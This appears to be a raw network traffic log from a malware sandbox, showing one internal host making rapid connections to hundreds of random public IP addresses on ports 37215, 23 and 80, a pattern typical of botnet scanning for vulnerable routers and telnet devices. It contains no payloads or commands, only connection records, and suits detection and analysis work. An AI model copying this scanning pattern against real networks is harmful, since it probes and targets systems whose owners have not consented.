Oct 14, 2024 17:34:12.362832069 CEST	29625	37215	192.168.2.14	41.90.199.66
Oct 14, 2024 17:34:12.362833023 CEST	29625	37215	192.168.2.14	41.177.12.43
Oct 14, 2024 17:34:12.362833977 CEST	29625	37215	192.168.2.14	156.3.56.137
Oct 14, 2024 17:34:12.362838030 CEST	29625	37215	192.168.2.14	156.223.118.218
Oct 14, 2024 17:34:12.362845898 CEST	29625	37215	192.168.2.14	197.152.138.229
Oct 14, 2024 17:34:12.362849951 CEST	29625	37215	192.168.2.14	41.250.95.204
Oct 14, 2024 17:34:12.362849951 CEST	29625	37215	192.168.2.14	197.64.242.125
Oct 14, 2024 17:34:12.362852097 CEST	29625	37215	192.168.2.14	156.18.99.68
Oct 14, 2024 17:34:12.362869024 CEST	29625	37215	192.168.2.14	41.210.204.100
Oct 14, 2024 17:34:12.362869024 CEST	29625	37215	192.168.2.14	41.182.229.218
Oct 14, 2024 17:34:12.362886906 CEST	29625	37215	192.168.2.14	197.201.218.35
Oct 14, 2024 17:34:12.362886906 CEST	29625	37215	192.168.2.14	41.92.45.74
Oct 14, 2024 17:34:12.362888098 CEST	29625	37215	192.168.2.14	156.78.52.144
Oct 14, 2024 17:34:12.362888098 CEST	29625	37215	192.168.2.14	197.41.107.232
Oct 14, 2024 17:34:12.362905025 CEST	29625	37215	192.168.2.14	41.104.59.251
Oct 14, 2024 17:34:12.362905979 CEST	29625	37215	192.168.2.14	197.134.186.74
Oct 14, 2024 17:34:12.362909079 CEST	29625	37215	192.168.2.14	156.132.237.166
Oct 14, 2024 17:34:12.362909079 CEST	29625	37215	192.168.2.14	156.224.137.219
Oct 14, 2024 17:34:12.362919092 CEST	29625	37215	192.168.2.14	156.89.239.45
Oct 14, 2024 17:34:12.362921953 CEST	29625	37215	192.168.2.14	156.37.64.181
Oct 14, 2024 17:34:12.362922907 CEST	29625	37215	192.168.2.14	156.39.83.100
Oct 14, 2024 17:34:12.362930059 CEST	29625	37215	192.168.2.14	197.242.17.95
Oct 14, 2024 17:34:12.362931967 CEST	29625	37215	192.168.2.14	156.145.184.143
Oct 14, 2024 17:34:12.362937927 CEST	29625	37215	192.168.2.14	156.226.155.233
Oct 14, 2024 17:34:12.362940073 CEST	29625	37215	192.168.2.14	156.102.204.102
Oct 14, 2024 17:34:12.362941027 CEST	29625	37215	192.168.2.14	41.86.209.149
Oct 14, 2024 17:34:12.362941980 CEST	29625	37215	192.168.2.14	156.85.94.81
Oct 14, 2024 17:34:12.362956047 CEST	29625	37215	192.168.2.14	41.123.61.155
Oct 14, 2024 17:34:12.362958908 CEST	29625	37215	192.168.2.14	156.196.135.57
Oct 14, 2024 17:34:12.362963915 CEST	29625	37215	192.168.2.14	41.156.74.82
Oct 14, 2024 17:34:12.362973928 CEST	29625	37215	192.168.2.14	156.120.67.111
Oct 14, 2024 17:34:12.362976074 CEST	29625	37215	192.168.2.14	197.86.249.55
Oct 14, 2024 17:34:12.362977028 CEST	29625	37215	192.168.2.14	41.236.185.181
Oct 14, 2024 17:34:12.362981081 CEST	29625	37215	192.168.2.14	197.139.158.10
Oct 14, 2024 17:34:12.362993002 CEST	29625	37215	192.168.2.14	197.17.208.77
Oct 14, 2024 17:34:12.362993002 CEST	29625	37215	192.168.2.14	156.248.126.11
Oct 14, 2024 17:34:12.363004923 CEST	29625	37215	192.168.2.14	197.96.209.49
Oct 14, 2024 17:34:12.363004923 CEST	29625	37215	192.168.2.14	156.163.108.41
Oct 14, 2024 17:34:12.363004923 CEST	29625	37215	192.168.2.14	41.121.27.234
Oct 14, 2024 17:34:12.363013029 CEST	29625	37215	192.168.2.14	156.208.13.16
Oct 14, 2024 17:34:12.363024950 CEST	29625	37215	192.168.2.14	197.174.201.81
Oct 14, 2024 17:34:12.363037109 CEST	29625	37215	192.168.2.14	156.67.190.124
Oct 14, 2024 17:34:12.363039017 CEST	29625	37215	192.168.2.14	41.4.36.129
Oct 14, 2024 17:34:12.363039017 CEST	29625	37215	192.168.2.14	41.91.245.10
Oct 14, 2024 17:34:12.363051891 CEST	29625	37215	192.168.2.14	41.80.90.138
Oct 14, 2024 17:34:12.363054037 CEST	29625	37215	192.168.2.14	156.56.221.185
Oct 14, 2024 17:34:12.363054037 CEST	29625	37215	192.168.2.14	197.3.171.174
Oct 14, 2024 17:34:12.363058090 CEST	29625	37215	192.168.2.14	197.49.1.34
Oct 14, 2024 17:34:12.363058090 CEST	29625	37215	192.168.2.14	41.87.206.44
Oct 14, 2024 17:34:12.363066912 CEST	29625	37215	192.168.2.14	197.209.174.201
Oct 14, 2024 17:34:12.363078117 CEST	29625	37215	192.168.2.14	41.165.246.72
Oct 14, 2024 17:34:12.363080025 CEST	29625	37215	192.168.2.14	41.87.105.8
Oct 14, 2024 17:34:12.363081932 CEST	29625	37215	192.168.2.14	197.96.68.163
Oct 14, 2024 17:34:12.363094091 CEST	29625	37215	192.168.2.14	156.158.80.190
Oct 14, 2024 17:34:12.363095045 CEST	29625	37215	192.168.2.14	156.28.150.78
Oct 14, 2024 17:34:12.363095045 CEST	29625	37215	192.168.2.14	197.157.21.177
Oct 14, 2024 17:34:12.363112926 CEST	29625	37215	192.168.2.14	41.251.157.57
Oct 14, 2024 17:34:12.363121033 CEST	29625	37215	192.168.2.14	156.53.219.50
Oct 14, 2024 17:34:12.363121033 CEST	29625	37215	192.168.2.14	156.0.82.250
Oct 14, 2024 17:34:12.363121033 CEST	29625	37215	192.168.2.14	197.72.147.205
Oct 14, 2024 17:34:12.363126040 CEST	29625	37215	192.168.2.14	156.40.120.49
Oct 14, 2024 17:34:12.363127947 CEST	29625	37215	192.168.2.14	156.43.199.230
Oct 14, 2024 17:34:12.363133907 CEST	29625	37215	192.168.2.14	41.198.238.178
Oct 14, 2024 17:34:12.363145113 CEST	29625	37215	192.168.2.14	197.230.178.71
Oct 14, 2024 17:34:12.363152981 CEST	29625	37215	192.168.2.14	41.5.181.56
Oct 14, 2024 17:34:12.363152981 CEST	29625	37215	192.168.2.14	41.248.1.159
Oct 14, 2024 17:34:12.363152981 CEST	29625	37215	192.168.2.14	41.30.171.6
Oct 14, 2024 17:34:12.363153934 CEST	29625	37215	192.168.2.14	156.116.252.214
Oct 14, 2024 17:34:12.363162994 CEST	29625	37215	192.168.2.14	41.185.86.196
Oct 14, 2024 17:34:12.363174915 CEST	29625	37215	192.168.2.14	41.215.23.168
Oct 14, 2024 17:34:12.363174915 CEST	29625	37215	192.168.2.14	197.23.155.65
Oct 14, 2024 17:34:12.363203049 CEST	29625	37215	192.168.2.14	156.129.194.52
Oct 14, 2024 17:34:12.363203049 CEST	29625	37215	192.168.2.14	197.190.107.37
Oct 14, 2024 17:34:12.363203049 CEST	29625	37215	192.168.2.14	156.205.65.157
Oct 14, 2024 17:34:12.363203049 CEST	29625	37215	192.168.2.14	156.42.56.140
Oct 14, 2024 17:34:12.363203049 CEST	29625	37215	192.168.2.14	197.20.45.154
Oct 14, 2024 17:34:12.363204002 CEST	29625	37215	192.168.2.14	197.221.161.204
Oct 14, 2024 17:34:12.363203049 CEST	29625	37215	192.168.2.14	197.143.254.124
Oct 14, 2024 17:34:12.363205910 CEST	29625	37215	192.168.2.14	156.224.240.208
Oct 14, 2024 17:34:12.363205910 CEST	29625	37215	192.168.2.14	41.104.44.253
Oct 14, 2024 17:34:12.363205910 CEST	29625	37215	192.168.2.14	156.216.85.175
Oct 14, 2024 17:34:12.363218069 CEST	29625	37215	192.168.2.14	156.38.119.226
Oct 14, 2024 17:34:12.363224030 CEST	29625	37215	192.168.2.14	197.201.83.130
Oct 14, 2024 17:34:12.363245010 CEST	29625	37215	192.168.2.14	41.203.170.103
Oct 14, 2024 17:34:12.363249063 CEST	29625	37215	192.168.2.14	197.58.51.51
Oct 14, 2024 17:34:12.363249063 CEST	29625	37215	192.168.2.14	197.10.222.183
Oct 14, 2024 17:34:12.363249063 CEST	29625	37215	192.168.2.14	156.192.179.90
Oct 14, 2024 17:34:12.363274097 CEST	29625	37215	192.168.2.14	197.96.70.253
Oct 14, 2024 17:34:12.363274097 CEST	29625	37215	192.168.2.14	156.50.66.227
Oct 14, 2024 17:34:12.363274097 CEST	29625	37215	192.168.2.14	197.36.144.121
Oct 14, 2024 17:34:12.363274097 CEST	29625	37215	192.168.2.14	197.224.195.107
Oct 14, 2024 17:34:12.363274097 CEST	29625	37215	192.168.2.14	197.225.29.100
Oct 14, 2024 17:34:12.363276005 CEST	29625	37215	192.168.2.14	156.58.240.161
Oct 14, 2024 17:34:12.363281012 CEST	29625	37215	192.168.2.14	41.125.230.75
Oct 14, 2024 17:34:12.363281012 CEST	29625	37215	192.168.2.14	197.239.202.106
Oct 14, 2024 17:34:12.363296032 CEST	29625	37215	192.168.2.14	156.172.236.216
Oct 14, 2024 17:34:12.363301039 CEST	29625	37215	192.168.2.14	197.229.238.173
Oct 14, 2024 17:34:12.363306046 CEST	29625	37215	192.168.2.14	156.239.167.51
Oct 14, 2024 17:34:12.363312960 CEST	29625	37215	192.168.2.14	156.82.207.152
Oct 14, 2024 17:34:12.363317966 CEST	29625	37215	192.168.2.14	197.178.4.9
Oct 14, 2024 17:34:12.363327026 CEST	29625	37215	192.168.2.14	156.41.214.89
Oct 14, 2024 17:34:12.363327026 CEST	29625	37215	192.168.2.14	197.163.114.193
Oct 14, 2024 17:34:12.363328934 CEST	29625	37215	192.168.2.14	41.113.20.67
Oct 14, 2024 17:34:12.363328934 CEST	29625	37215	192.168.2.14	156.46.82.131
Oct 14, 2024 17:34:12.363328934 CEST	29625	37215	192.168.2.14	156.95.25.24
Oct 14, 2024 17:34:12.363336086 CEST	29625	37215	192.168.2.14	197.211.204.119
Oct 14, 2024 17:34:12.363344908 CEST	29625	37215	192.168.2.14	41.188.36.20
Oct 14, 2024 17:34:12.363353968 CEST	29625	37215	192.168.2.14	197.162.215.67
Oct 14, 2024 17:34:12.363353968 CEST	29625	37215	192.168.2.14	156.200.87.210
Oct 14, 2024 17:34:12.363357067 CEST	29625	37215	192.168.2.14	156.102.131.245
Oct 14, 2024 17:34:12.363358021 CEST	29625	37215	192.168.2.14	156.200.185.66
Oct 14, 2024 17:34:12.363360882 CEST	29625	37215	192.168.2.14	197.234.52.126
Oct 14, 2024 17:34:12.363378048 CEST	29625	37215	192.168.2.14	197.152.238.87
Oct 14, 2024 17:34:12.363387108 CEST	29625	37215	192.168.2.14	156.192.154.97
Oct 14, 2024 17:34:12.363387108 CEST	29625	37215	192.168.2.14	197.0.0.216
Oct 14, 2024 17:34:12.363400936 CEST	29625	37215	192.168.2.14	156.128.196.163
Oct 14, 2024 17:34:12.363400936 CEST	29625	37215	192.168.2.14	41.15.212.170
Oct 14, 2024 17:34:12.363404036 CEST	29625	37215	192.168.2.14	156.102.214.36
Oct 14, 2024 17:34:12.363404036 CEST	29625	37215	192.168.2.14	41.54.156.237
Oct 14, 2024 17:34:12.363406897 CEST	29625	37215	192.168.2.14	156.192.138.25
Oct 14, 2024 17:34:12.363406897 CEST	29625	37215	192.168.2.14	197.30.23.31
Oct 14, 2024 17:34:12.363406897 CEST	29625	37215	192.168.2.14	41.219.162.214
Oct 14, 2024 17:34:12.363406897 CEST	29625	37215	192.168.2.14	41.223.108.167
Oct 14, 2024 17:34:12.363406897 CEST	29625	37215	192.168.2.14	156.214.151.210
Oct 14, 2024 17:34:12.363413095 CEST	29625	37215	192.168.2.14	156.219.61.210
Oct 14, 2024 17:34:12.363414049 CEST	29625	37215	192.168.2.14	41.78.64.193
Oct 14, 2024 17:34:12.363414049 CEST	29625	37215	192.168.2.14	156.114.63.212
Oct 14, 2024 17:34:12.363414049 CEST	29625	37215	192.168.2.14	197.141.55.243
Oct 14, 2024 17:34:12.363419056 CEST	29625	37215	192.168.2.14	156.161.55.135
Oct 14, 2024 17:34:12.363421917 CEST	29625	37215	192.168.2.14	197.8.97.101
Oct 14, 2024 17:34:12.363425970 CEST	29625	37215	192.168.2.14	197.136.128.132
Oct 14, 2024 17:34:12.363440990 CEST	29625	37215	192.168.2.14	41.31.136.183
Oct 14, 2024 17:34:12.363440990 CEST	29625	37215	192.168.2.14	41.75.144.168
Oct 14, 2024 17:34:12.363447905 CEST	29625	37215	192.168.2.14	197.254.202.44
Oct 14, 2024 17:34:12.363452911 CEST	29625	37215	192.168.2.14	156.16.127.237
Oct 14, 2024 17:34:12.363464117 CEST	29625	37215	192.168.2.14	41.250.191.160
Oct 14, 2024 17:34:12.363466978 CEST	29625	37215	192.168.2.14	156.121.224.160
Oct 14, 2024 17:34:12.363467932 CEST	29625	37215	192.168.2.14	41.14.119.174
Oct 14, 2024 17:34:12.363467932 CEST	29625	37215	192.168.2.14	156.112.240.88
Oct 14, 2024 17:34:12.363468885 CEST	29625	37215	192.168.2.14	197.143.161.93
Oct 14, 2024 17:34:12.363485098 CEST	29625	37215	192.168.2.14	156.139.189.210
Oct 14, 2024 17:34:12.363485098 CEST	29625	37215	192.168.2.14	156.183.35.10
Oct 14, 2024 17:34:12.363487005 CEST	29625	37215	192.168.2.14	156.96.250.216
Oct 14, 2024 17:34:12.363503933 CEST	29625	37215	192.168.2.14	41.42.103.172
Oct 14, 2024 17:34:12.363507986 CEST	29625	37215	192.168.2.14	156.230.88.241
Oct 14, 2024 17:34:12.363523960 CEST	29625	37215	192.168.2.14	41.40.142.238
Oct 14, 2024 17:34:12.363523960 CEST	29625	37215	192.168.2.14	156.147.8.58
Oct 14, 2024 17:34:12.363524914 CEST	29625	37215	192.168.2.14	197.79.154.70
Oct 14, 2024 17:34:12.363526106 CEST	29625	37215	192.168.2.14	156.11.199.201
Oct 14, 2024 17:34:12.363528013 CEST	29625	37215	192.168.2.14	156.51.187.215
Oct 14, 2024 17:34:12.363528013 CEST	29625	37215	192.168.2.14	156.96.146.72
Oct 14, 2024 17:34:12.363532066 CEST	29625	37215	192.168.2.14	41.117.135.111
Oct 14, 2024 17:34:12.363533020 CEST	29625	37215	192.168.2.14	156.159.100.92
Oct 14, 2024 17:34:12.363534927 CEST	29625	37215	192.168.2.14	156.242.220.177
Oct 14, 2024 17:34:12.363550901 CEST	29625	37215	192.168.2.14	197.180.57.29
Oct 14, 2024 17:34:12.363550901 CEST	29625	37215	192.168.2.14	41.187.115.39
Oct 14, 2024 17:34:12.364034891 CEST	59924	37215	192.168.2.14	197.52.94.232
Oct 14, 2024 17:34:12.364034891 CEST	59924	37215	192.168.2.14	197.52.94.232
Oct 14, 2024 17:34:12.364324093 CEST	60688	37215	192.168.2.14	197.52.94.232
Oct 14, 2024 17:34:12.364976883 CEST	37215	41142	41.75.110.142	192.168.2.14
Oct 14, 2024 17:34:12.365067005 CEST	42858	37215	192.168.2.14	197.129.129.87
Oct 14, 2024 17:34:12.365067005 CEST	42858	37215	192.168.2.14	197.129.129.87
Oct 14, 2024 17:34:12.365101099 CEST	41142	37215	192.168.2.14	41.75.110.142
Oct 14, 2024 17:34:12.365592957 CEST	43600	37215	192.168.2.14	197.129.129.87
Oct 14, 2024 17:34:12.367538929 CEST	40952	37215	192.168.2.14	197.56.115.214
Oct 14, 2024 17:34:12.367557049 CEST	40952	37215	192.168.2.14	197.56.115.214
Oct 14, 2024 17:34:12.368242025 CEST	41588	37215	192.168.2.14	197.56.115.214
Oct 14, 2024 17:34:12.368777037 CEST	53944	37215	192.168.2.14	156.40.168.169
Oct 14, 2024 17:34:12.368798971 CEST	53944	37215	192.168.2.14	156.40.168.169
Oct 14, 2024 17:34:12.369067907 CEST	37215	59924	197.52.94.232	192.168.2.14
Oct 14, 2024 17:34:12.369163036 CEST	54498	37215	192.168.2.14	156.40.168.169
Oct 14, 2024 17:34:12.369601965 CEST	59988	37215	192.168.2.14	197.8.124.136
Oct 14, 2024 17:34:12.369601965 CEST	59988	37215	192.168.2.14	197.8.124.136
Oct 14, 2024 17:34:12.369848967 CEST	60436	37215	192.168.2.14	197.8.124.136
Oct 14, 2024 17:34:12.369961023 CEST	37215	42858	197.129.129.87	192.168.2.14
Oct 14, 2024 17:34:12.370430946 CEST	35656	37215	192.168.2.14	197.252.249.212
Oct 14, 2024 17:34:12.370430946 CEST	35656	37215	192.168.2.14	197.252.249.212
Oct 14, 2024 17:34:12.370790958 CEST	36038	37215	192.168.2.14	197.252.249.212
Oct 14, 2024 17:34:12.371278048 CEST	35890	37215	192.168.2.14	156.136.127.182
Oct 14, 2024 17:34:12.371278048 CEST	35890	37215	192.168.2.14	156.136.127.182
Oct 14, 2024 17:34:12.371553898 CEST	36256	37215	192.168.2.14	156.136.127.182
Oct 14, 2024 17:34:12.372065067 CEST	50332	37215	192.168.2.14	41.45.164.216
Oct 14, 2024 17:34:12.372065067 CEST	50332	37215	192.168.2.14	41.45.164.216
Oct 14, 2024 17:34:12.372380972 CEST	37215	40952	197.56.115.214	192.168.2.14
Oct 14, 2024 17:34:12.372769117 CEST	50674	37215	192.168.2.14	41.45.164.216
Oct 14, 2024 17:34:12.373558998 CEST	55794	37215	192.168.2.14	41.157.6.145
Oct 14, 2024 17:34:12.373558998 CEST	55794	37215	192.168.2.14	41.157.6.145
Oct 14, 2024 17:34:12.373706102 CEST	37215	53944	156.40.168.169	192.168.2.14
Oct 14, 2024 17:34:12.373929977 CEST	56048	37215	192.168.2.14	41.157.6.145
Oct 14, 2024 17:34:12.374389887 CEST	37215	59988	197.8.124.136	192.168.2.14
Oct 14, 2024 17:34:12.374675035 CEST	47458	37215	192.168.2.14	197.161.220.113
Oct 14, 2024 17:34:12.374675035 CEST	47458	37215	192.168.2.14	197.161.220.113
Oct 14, 2024 17:34:12.374919891 CEST	47702	37215	192.168.2.14	197.161.220.113
Oct 14, 2024 17:34:12.375291109 CEST	55518	37215	192.168.2.14	156.119.88.242
Oct 14, 2024 17:34:12.375291109 CEST	55518	37215	192.168.2.14	156.119.88.242
Oct 14, 2024 17:34:12.375387907 CEST	37215	35656	197.252.249.212	192.168.2.14
Oct 14, 2024 17:34:12.375634909 CEST	55746	37215	192.168.2.14	156.119.88.242
Oct 14, 2024 17:34:12.375979900 CEST	45532	37215	192.168.2.14	156.94.217.87
Oct 14, 2024 17:34:12.375979900 CEST	45532	37215	192.168.2.14	156.94.217.87
Oct 14, 2024 17:34:12.376172066 CEST	37215	35890	156.136.127.182	192.168.2.14
Oct 14, 2024 17:34:12.376300097 CEST	45682	37215	192.168.2.14	156.94.217.87
Oct 14, 2024 17:34:12.376404047 CEST	37215	36256	156.136.127.182	192.168.2.14
Oct 14, 2024 17:34:12.376455069 CEST	36256	37215	192.168.2.14	156.136.127.182
Oct 14, 2024 17:34:12.376859903 CEST	37215	50332	41.45.164.216	192.168.2.14
Oct 14, 2024 17:34:12.376959085 CEST	33648	37215	192.168.2.14	41.17.42.167
Oct 14, 2024 17:34:12.376959085 CEST	33648	37215	192.168.2.14	41.17.42.167
Oct 14, 2024 17:34:12.377371073 CEST	33764	37215	192.168.2.14	41.17.42.167
Oct 14, 2024 17:34:12.378160954 CEST	50870	37215	192.168.2.14	41.147.168.3
Oct 14, 2024 17:34:12.378171921 CEST	50870	37215	192.168.2.14	41.147.168.3
Oct 14, 2024 17:34:12.378349066 CEST	37215	55794	41.157.6.145	192.168.2.14
Oct 14, 2024 17:34:12.378557920 CEST	50962	37215	192.168.2.14	41.147.168.3
Oct 14, 2024 17:34:12.379250050 CEST	50230	37215	192.168.2.14	41.12.210.213
Oct 14, 2024 17:34:12.379280090 CEST	50230	37215	192.168.2.14	41.12.210.213
Oct 14, 2024 17:34:12.379453897 CEST	37215	47458	197.161.220.113	192.168.2.14
Oct 14, 2024 17:34:12.379586935 CEST	50304	37215	192.168.2.14	41.12.210.213
Oct 14, 2024 17:34:12.380363941 CEST	37215	55518	156.119.88.242	192.168.2.14
Oct 14, 2024 17:34:12.380415916 CEST	52496	37215	192.168.2.14	197.107.94.66
Oct 14, 2024 17:34:12.380415916 CEST	52496	37215	192.168.2.14	197.107.94.66
Oct 14, 2024 17:34:12.380842924 CEST	37215	45532	156.94.217.87	192.168.2.14
Oct 14, 2024 17:34:12.380939960 CEST	52544	37215	192.168.2.14	197.107.94.66
Oct 14, 2024 17:34:12.381679058 CEST	36256	37215	192.168.2.14	156.136.127.182
Oct 14, 2024 17:34:12.381680965 CEST	41142	37215	192.168.2.14	41.75.110.142
Oct 14, 2024 17:34:12.381706953 CEST	41142	37215	192.168.2.14	41.75.110.142
Oct 14, 2024 17:34:12.381757021 CEST	37215	33648	41.17.42.167	192.168.2.14
Oct 14, 2024 17:34:12.382184029 CEST	41178	37215	192.168.2.14	41.75.110.142
Oct 14, 2024 17:34:12.383028984 CEST	37215	50870	41.147.168.3	192.168.2.14
Oct 14, 2024 17:34:12.384025097 CEST	37215	50230	41.12.210.213	192.168.2.14
Oct 14, 2024 17:34:12.384398937 CEST	37215	50304	41.12.210.213	192.168.2.14
Oct 14, 2024 17:34:12.384494066 CEST	50304	37215	192.168.2.14	41.12.210.213
Oct 14, 2024 17:34:12.384494066 CEST	50304	37215	192.168.2.14	41.12.210.213
Oct 14, 2024 17:34:12.385301113 CEST	37215	52496	197.107.94.66	192.168.2.14
Oct 14, 2024 17:34:12.386604071 CEST	37215	41142	41.75.110.142	192.168.2.14
Oct 14, 2024 17:34:12.386653900 CEST	37215	36256	156.136.127.182	192.168.2.14
Oct 14, 2024 17:34:12.386709929 CEST	36256	37215	192.168.2.14	156.136.127.182
Oct 14, 2024 17:34:12.393645048 CEST	80	48092	2.17.128.182	192.168.2.14
Oct 14, 2024 17:34:12.393702030 CEST	48092	80	192.168.2.14	2.17.128.182
Oct 14, 2024 17:34:12.394200087 CEST	37215	50304	41.12.210.213	192.168.2.14
Oct 14, 2024 17:34:12.394244909 CEST	50304	37215	192.168.2.14	41.12.210.213
Oct 14, 2024 17:34:12.415124893 CEST	37215	42858	197.129.129.87	192.168.2.14
Oct 14, 2024 17:34:12.415235043 CEST	37215	59924	197.52.94.232	192.168.2.14
Oct 14, 2024 17:34:12.415244102 CEST	37215	59988	197.8.124.136	192.168.2.14
Oct 14, 2024 17:34:12.415282011 CEST	37215	53944	156.40.168.169	192.168.2.14
Oct 14, 2024 17:34:12.415291071 CEST	37215	40952	197.56.115.214	192.168.2.14
Oct 14, 2024 17:34:12.419177055 CEST	37215	55794	41.157.6.145	192.168.2.14
Oct 14, 2024 17:34:12.419187069 CEST	37215	50332	41.45.164.216	192.168.2.14
Oct 14, 2024 17:34:12.419194937 CEST	37215	35890	156.136.127.182	192.168.2.14
Oct 14, 2024 17:34:12.419203997 CEST	37215	35656	197.252.249.212	192.168.2.14
Oct 14, 2024 17:34:12.427181005 CEST	37215	50870	41.147.168.3	192.168.2.14
Oct 14, 2024 17:34:12.427191019 CEST	37215	41142	41.75.110.142	192.168.2.14
Oct 14, 2024 17:34:12.427198887 CEST	37215	33648	41.17.42.167	192.168.2.14
Oct 14, 2024 17:34:12.427207947 CEST	37215	52496	197.107.94.66	192.168.2.14
Oct 14, 2024 17:34:12.427218914 CEST	37215	45532	156.94.217.87	192.168.2.14
Oct 14, 2024 17:34:12.427227020 CEST	37215	55518	156.119.88.242	192.168.2.14
Oct 14, 2024 17:34:12.427236080 CEST	37215	47458	197.161.220.113	192.168.2.14
Oct 14, 2024 17:34:12.427278996 CEST	37215	50230	41.12.210.213	192.168.2.14
Oct 14, 2024 17:34:12.843790054 CEST	49898	23	192.168.2.14	187.121.58.141
Oct 14, 2024 17:34:12.843790054 CEST	38602	23	192.168.2.14	125.9.76.138
Oct 14, 2024 17:34:12.843791962 CEST	56940	23	192.168.2.14	210.210.89.17
Oct 14, 2024 17:34:12.843791962 CEST	52974	23	192.168.2.14	121.195.57.5
Oct 14, 2024 17:34:12.843792915 CEST	57566	23	192.168.2.14	197.188.249.99
Oct 14, 2024 17:34:12.843791962 CEST	48658	23	192.168.2.14	137.157.119.17
Oct 14, 2024 17:34:12.843792915 CEST	54898	23	192.168.2.14	13.147.240.98
Oct 14, 2024 17:34:12.843792915 CEST	34580	23	192.168.2.14	162.107.196.195
Oct 14, 2024 17:34:12.843795061 CEST	40342	23	192.168.2.14	69.218.11.87
Oct 14, 2024 17:34:12.843813896 CEST	42188	23	192.168.2.14	201.110.128.130
Oct 14, 2024 17:34:12.843813896 CEST	44680	23	192.168.2.14	47.52.234.12
Oct 14, 2024 17:34:12.843813896 CEST	57804	23	192.168.2.14	179.97.237.227
Oct 14, 2024 17:34:12.843813896 CEST	57702	23	192.168.2.14	201.74.212.81
Oct 14, 2024 17:34:12.843817949 CEST	54700	23	192.168.2.14	163.255.84.104
Oct 14, 2024 17:34:12.843817949 CEST	36626	23	192.168.2.14	87.191.14.117
Oct 14, 2024 17:34:12.843818903 CEST	47720	23	192.168.2.14	83.118.247.99
Oct 14, 2024 17:34:12.843826056 CEST	58028	23	192.168.2.14	189.110.86.251
Oct 14, 2024 17:34:12.849070072 CEST	23	57566	197.188.249.99	192.168.2.14
Oct 14, 2024 17:34:12.849158049 CEST	57566	23	192.168.2.14	197.188.249.99
Oct 14, 2024 17:34:12.849178076 CEST	23	49898	187.121.58.141	192.168.2.14
Oct 14, 2024 17:34:12.849186897 CEST	23	38602	125.9.76.138	192.168.2.14
Oct 14, 2024 17:34:12.849195957 CEST	23	54898	13.147.240.98	192.168.2.14
Oct 14, 2024 17:34:12.849208117 CEST	23	40342	69.218.11.87	192.168.2.14
Oct 14, 2024 17:34:12.849217892 CEST	23	34580	162.107.196.195	192.168.2.14
Oct 14, 2024 17:34:12.849225998 CEST	23	56940	210.210.89.17	192.168.2.14
Oct 14, 2024 17:34:12.849226952 CEST	38602	23	192.168.2.14	125.9.76.138
Oct 14, 2024 17:34:12.849234104 CEST	23	52974	121.195.57.5	192.168.2.14
Oct 14, 2024 17:34:12.849242926 CEST	23	48658	137.157.119.17	192.168.2.14
Oct 14, 2024 17:34:12.849247932 CEST	54898	23	192.168.2.14	13.147.240.98
Oct 14, 2024 17:34:12.849251986 CEST	23	57804	179.97.237.227	192.168.2.14
Oct 14, 2024 17:34:12.849256039 CEST	40342	23	192.168.2.14	69.218.11.87
Oct 14, 2024 17:34:12.849262953 CEST	23	42188	201.110.128.130	192.168.2.14
Oct 14, 2024 17:34:12.849272013 CEST	23	44680	47.52.234.12	192.168.2.14
Oct 14, 2024 17:34:12.849277020 CEST	49898	23	192.168.2.14	187.121.58.141
Oct 14, 2024 17:34:12.849283934 CEST	23	57702	201.74.212.81	192.168.2.14
Oct 14, 2024 17:34:12.849292040 CEST	23	54700	163.255.84.104	192.168.2.14
Oct 14, 2024 17:34:12.849293947 CEST	56940	23	192.168.2.14	210.210.89.17
Oct 14, 2024 17:34:12.849293947 CEST	52974	23	192.168.2.14	121.195.57.5
Oct 14, 2024 17:34:12.849296093 CEST	34580	23	192.168.2.14	162.107.196.195
Oct 14, 2024 17:34:12.849302053 CEST	23	36626	87.191.14.117	192.168.2.14
Oct 14, 2024 17:34:12.849311113 CEST	23	47720	83.118.247.99	192.168.2.14
Oct 14, 2024 17:34:12.849318981 CEST	23	58028	189.110.86.251	192.168.2.14
Oct 14, 2024 17:34:12.849332094 CEST	48658	23	192.168.2.14	137.157.119.17
Oct 14, 2024 17:34:12.849333048 CEST	57804	23	192.168.2.14	179.97.237.227
Oct 14, 2024 17:34:12.849334002 CEST	42188	23	192.168.2.14	201.110.128.130
Oct 14, 2024 17:34:12.849342108 CEST	44680	23	192.168.2.14	47.52.234.12
Oct 14, 2024 17:34:12.849342108 CEST	57702	23	192.168.2.14	201.74.212.81
Oct 14, 2024 17:34:12.849360943 CEST	54700	23	192.168.2.14	163.255.84.104
Oct 14, 2024 17:34:12.849375010 CEST	36626	23	192.168.2.14	87.191.14.117
Oct 14, 2024 17:34:12.849375010 CEST	47720	23	192.168.2.14	83.118.247.99
Oct 14, 2024 17:34:12.849389076 CEST	58028	23	192.168.2.14	189.110.86.251
Oct 14, 2024 17:34:12.875631094 CEST	52642	37215	192.168.2.14	41.117.115.104
Oct 14, 2024 17:34:12.875637054 CEST	41770	80	192.168.2.14	18.28.241.145
Oct 14, 2024 17:34:12.875638008 CEST	48818	37215	192.168.2.14	156.8.22.233
Oct 14, 2024 17:34:12.875638008 CEST	40794	23	192.168.2.14	157.110.25.255
Oct 14, 2024 17:34:12.875646114 CEST	54174	80	192.168.2.14	80.16.214.233
Oct 14, 2024 17:34:12.875653028 CEST	37854	23	192.168.2.14	9.11.142.153
Oct 14, 2024 17:34:12.875653028 CEST	54954	80	192.168.2.14	131.156.38.106
Oct 14, 2024 17:34:12.875662088 CEST	53364	23	192.168.2.14	35.51.123.94
Oct 14, 2024 17:34:12.875658035 CEST	58002	23	192.168.2.14	111.31.238.180
Oct 14, 2024 17:34:12.875662088 CEST	53304	23	192.168.2.14	218.55.165.29
Oct 14, 2024 17:34:12.875658035 CEST	54104	80	192.168.2.14	141.182.88.11
Oct 14, 2024 17:34:12.875665903 CEST	39220	80	192.168.2.14	76.232.178.92
Oct 14, 2024 17:34:12.875670910 CEST	49814	80	192.168.2.14	179.221.209.219
Oct 14, 2024 17:34:12.875673056 CEST	57900	37215	192.168.2.14	197.84.254.99
Oct 14, 2024 17:34:12.875673056 CEST	43396	80	192.168.2.14	136.219.76.182
Oct 14, 2024 17:34:12.875678062 CEST	56094	23	192.168.2.14	125.7.78.111
Oct 14, 2024 17:34:12.875679016 CEST	57218	23	192.168.2.14	163.103.18.4
Oct 14, 2024 17:34:12.875679016 CEST	34820	23	192.168.2.14	221.31.134.11
Oct 14, 2024 17:34:12.875683069 CEST	50276	80	192.168.2.14	197.76.254.99
Oct 14, 2024 17:34:12.875693083 CEST	45036	80	192.168.2.14	163.129.240.99
Oct 14, 2024 17:34:12.875699997 CEST	56924	23	192.168.2.14	213.8.157.210
